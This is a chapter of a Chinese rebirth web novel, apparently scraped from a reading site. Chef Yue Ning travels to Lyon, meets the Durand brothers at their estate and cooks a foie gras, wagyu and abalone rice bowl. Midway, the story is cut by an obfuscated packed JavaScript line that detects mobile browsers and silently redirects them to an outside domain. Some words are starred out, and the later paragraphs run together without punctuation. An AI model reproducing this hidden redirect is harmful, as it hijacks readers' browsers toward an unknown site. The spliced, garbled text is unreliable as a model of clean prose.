岳宁抵达法国里昂，与蔡致远一同走出海关。
法餐在路易十四时代的凡尔赛宫盛宴上，宫廷大厨凭借严苛选料、繁复酱汁和奢华摆盘，奠定了其“欧洲烹饪之冠”的地位。法国大**后，**贵族的私厨把宫廷技艺带到民间，巴黎街头涌现出的高级餐厅让法餐从宫廷走向大众，其讲究的礼仪与精致的菜式成为身份的象征。
近二十年来，法餐迎来了巨大革新，彻底改写了自身面貌。新派法餐大厨们倡导回归食材本味，摒弃传统酱汁的厚重油腻，以新鲜时令原料、简约烹饪手法和艺术化摆盘重新定义高级餐饮。他们注重保留食材的天然口感，比如将牛肉仅烹至六七分熟，追求海鲜恰到好处的鲜嫩，同时在酱汁中融入水果、香料等创新元素。这场变革不仅巩固了法餐的高端地位，更使其以兼容并蓄的姿态风靡全球，成为世界美食的标杆。
里昂每两年举办一次的世界大厨交流会，是世界烹饪界的顶级盛会，来自巴黎、纽约、东京、米兰等地的大厨们都以获得一张入场券为荣。
然而，这场盛会的大门此前从未向中国厨师敞开过，或者说从未对贫穷国家的厨师开放过。岳宁作为卢卡斯的特邀嘉宾，对于这个年代的中餐厨师而言，绝对是无上的荣光。
岳宁知道，这个交流会正是被誉为烹饪界奥林匹克的世界烹饪大赛的前身。
上辈子，被誉为厨皇的保罗**斯在1987年创办了以他名字命名的世界烹饪大赛。她曾带领团队杀入决赛，与来自世界各地的二十四支队伍在里昂展开比拼，最终获得了第十七名的成绩。这个成绩对于一个拥有五千年文明、有着悠久饮食文化的国家来说，称不上荣誉，甚至算是一种耻辱。然而，这却是中国厨师在该项赛事上取得的最好成绩。
美食的评判存在诸多主观因素，刻板印象也影响着裁判。岳宁深知，仅凭她一人之力，难以改变西方人对中餐的刻板印象。
而要改变西方人对中餐的刻板印象，前提是中餐自身先要革新。就像德祥那次承接直播失败，究其原因，是中餐厨师不了解当前世界烹饪界的风向已摆脱奢华的束缚，高级餐饮正追求健康与自然，可他们还在往珍稀猎奇的方向发展，缺乏创意，口感繁复浓厚，过度加工。
她与蔡致远进行了一次长谈，希望举办属于中餐的赛事，通过赛事让厨师们在交流中了解世
界潮流，使中餐早日回归与它文化底蕴相匹配的地位。
蔡致远见上一年度的《港澳厨王大赛》热度不逊色于港姐选拔，便欣然应允。此次他与岳宁一同前来，就是为今年的中餐厨王大赛借鉴经验。
蔡致远看着身旁的岳宁，这个在飞机上还跟他插科打诨的丫头，身着一袭挺阔的黛青色四合如意纹漳缎改良中长外套，斜襟上的南红玛瑙扣挂着一个花丝黄金镶嵌南红的如意压襟，下身搭配一条同色系香云纱阔腿裤。漳缎被誉为丝绸上的浮雕，丝缎上提织着绒花，她行动间丝辉流动，尽显低调而华丽。
在港城生活一年，岳宁的皮肤已养得白皙，青黛色的衣服更衬得她肤白如雪。今日，她难得地涂了与南红玛瑙同色、红中略带微橘色的唇膏，整个人明艳动人。
蔡致远执掌着港城娱乐圈的半壁江山，见过众多美人，可那些美人，谁有她这般舒展的眉眼、气定神闲的神韵？
岳宁也在打量蔡致远，只见他今日西装革履，戴着一副金丝边眼镜，手腕上戴着一只百达翡丽。她微微侧头对蔡致远说：“哥哥，你今天人模狗样的，绝对是你们电视剧里斯文败类角色的模板。”
原本正欣赏着活泼可爱的妹妹摇身变成绝世美人的蔡致远，瞬间回过神来，他心想，还能她狗嘴里吐出**来？蔡致远回道：“你才人模狗样。”
HTV的摄制团队提前抵达里昂，已与当地电视台开展准备工作。此刻，他们的镜头对准了岳宁和他们的小老板。八十年代的法国处于世界时尚的巅峰，往来的旅客纷纷驻足，看向这对靓丽的东方男女。
“宁宁！”宁宴的鹅肝供应商邱春明带着一个法国人走上前来。
邱春明得知岳宁要来参加交流会，立刻与法国的供货商取得联系，这家供货商正是法国一家著名的食品集团。岳宁上次在港城食品博览会上宣传了法国鹅肝和潮汕鹅肝，还在宁宴推出了鹅肝和牛鲍汁拌饭，使其成为宁宴的招牌菜品之一。
实际上，这道拌饭的灵感源于岳宁上辈子在日本品尝到的鹅肝和牛丼，既然从日本而来，那就让它再回到日本。恰逢岳宁要为崔记推出新的鲍鱼汁调味料，她便在许乐梅和TS电视台的节目里，教港城和日本的观众制作简单版的鹅肝和牛拌饭。
在这个年代，法餐占据高端市场，价格不菲。法式鹅肝虽有名，却是个小众市场，用量不大
。
岳宁这一番操作，让邱春明将鹅肝铺货进超市。邱春明马上想到日本市场也可如此，便通知了这家公司负责东亚区域的销售经理。
这家公司在日本的代理商一直只给法式餐厅供货，根本没有商超渠道。
立德在日本已打开市场，商超渠道充足，协助他们进入了商超的进口食品区域。
生鹅肝尽管价格较高，但相较于去高档餐厅食用，便宜了许多。这家公司的鹅肝在港城和日本的销量暴涨了三倍，让这家食品公司看到了东亚市场的消费潜力，也见识到了岳宁的能力。
原本他们的销售人员就打算前往港城拜访岳宁，却因听闻岳宁要考试，便将行程延期。
邱春明告知他们岳宁要来里昂参加厨师交流会，这家集团负责东亚市场的销售经理自然欣喜万分。
这位经理还跟邱春明说，他们老板的弟弟是位米其林三星大厨，打算请示一下，先让岳宁与老板的这位弟弟见个面，为岳宁增添些热度。
这一请示，令人意外！老板的弟弟竟然是卢卡斯。
弟兄俩交流一番，卢卡斯的哥哥、杜兰德集团的老板提及岳宁提醒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915571|176918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他们在日本超市铺货一事，卢卡斯说起岳宁对做菜的见解，两人都认为岳宁的每一个建议都并非随意提出，而是精准地把控了市场。
如此一来，他们对岳宁的好感又增进了几分，卢卡斯索性邀请他们住在家族位于博讷的红酒庄园里。
邱春明曾在法国留学，因此才有机会代理法国食品。他翻译着销售经理的话，经理说，卢卡斯正在准备午餐，保罗已在庄园等候。
一行人走出航站楼，两辆雪铁龙DS静静地停在贵宾车道上。那位销售经理亲自为岳宁拉开后座车门。蔡致远被邱春明请上另一辆车，电视台的工作人员则上了一辆面包车。
上辈子岳宁除了参赛，还为探寻法餐的精妙之处、寻觅心仪的葡萄酒，多次来到勃艮第。
远处，罗纳河如银练般蜿蜒，葡萄园里的工人正忙碌着。
半小时后，车队驶入杜兰德家族的庄园。铁艺大门缓缓开启，修剪整齐的紫杉树篱后，是一栋巴洛克风格的白色宅邸。车子停稳，管家模样的男子为岳宁拉开了车门，岳宁从车上下来。身着厨师服的卢卡斯和一位气质不凡的法国男子并肩而立。
“宁宁。
哥哥保罗杜兰德。
尽管HTV有随行翻译邱春明还是先上前为他们翻译。
交谈几句后卢卡斯便请岳宁去房间放下行李一同前往后厨因为保罗对那道让他们鹅肝销量翻三倍的拌饭十分感兴趣。当然这也是此次行程设定的情节之一。
岳宁换上厨师服带上一个罐头这是她出发前制作的溏心鲍鱼为方便携带她让崔记调料厂帮忙封装成罐头。
她与卢卡斯一同走向厨房卢卡斯对膀胱鸡情有独钟锅里一只鸡包裹在圆球状的猪膀胱里正在低温慢煮。
锅里米饭已经煮好卢卡斯说：“就等你了！”
岳宁打开罐头里面十头吉品溏心鲍浸在浓稠的鲍汁中。
她将锅架在燃气炉上用小火加热鲍鱼鲍汁随着温度上升散发出浓郁的鲜香。
趁着这段时间她着手处理其他食材：把雪花和牛肉切成薄片均匀地撒上海盐；洋葱切丝后裹上淀粉；蘑菇切片。
用加热的刀将鹅肝切成片在鹅肝表面划出菱形花刀撒上几颗盐粒。
当锅烧至冒烟她将鹅肝片平铺入锅油脂与高温碰撞的瞬间“滋滋”声中金黄的焦脆边缘迅速蔓延。一分钟后翻面另一侧同样煎出金黄的脆壳鹅肝出锅。
这时锅里已积了浅浅一层澄清的鹅肝油
接着蘑菇片和洋葱丝入锅略带焦香味的油脂激发出洋葱的辛辣与蘑菇的鲜香。炒好洋葱和蘑菇她从鲍鱼锅里舀起一勺鲍汁倒入锅中把牛肉片放进鲍鱼汁里略微翻炒一下随即出锅。
米饭已经准备好每个大瓷盘里一个团小巧的饭岳宁将鹅肝、牛肉、蘑菇依次盖在米饭上层次分明。最后她取出吉品鲍将鲍鱼切成四片溏心在切口处微微颤动她把鲍鱼点缀在饭顶再用小勺淋上一勺浓稠的鲍汁撒上葱花说道：“可以吃饭了！”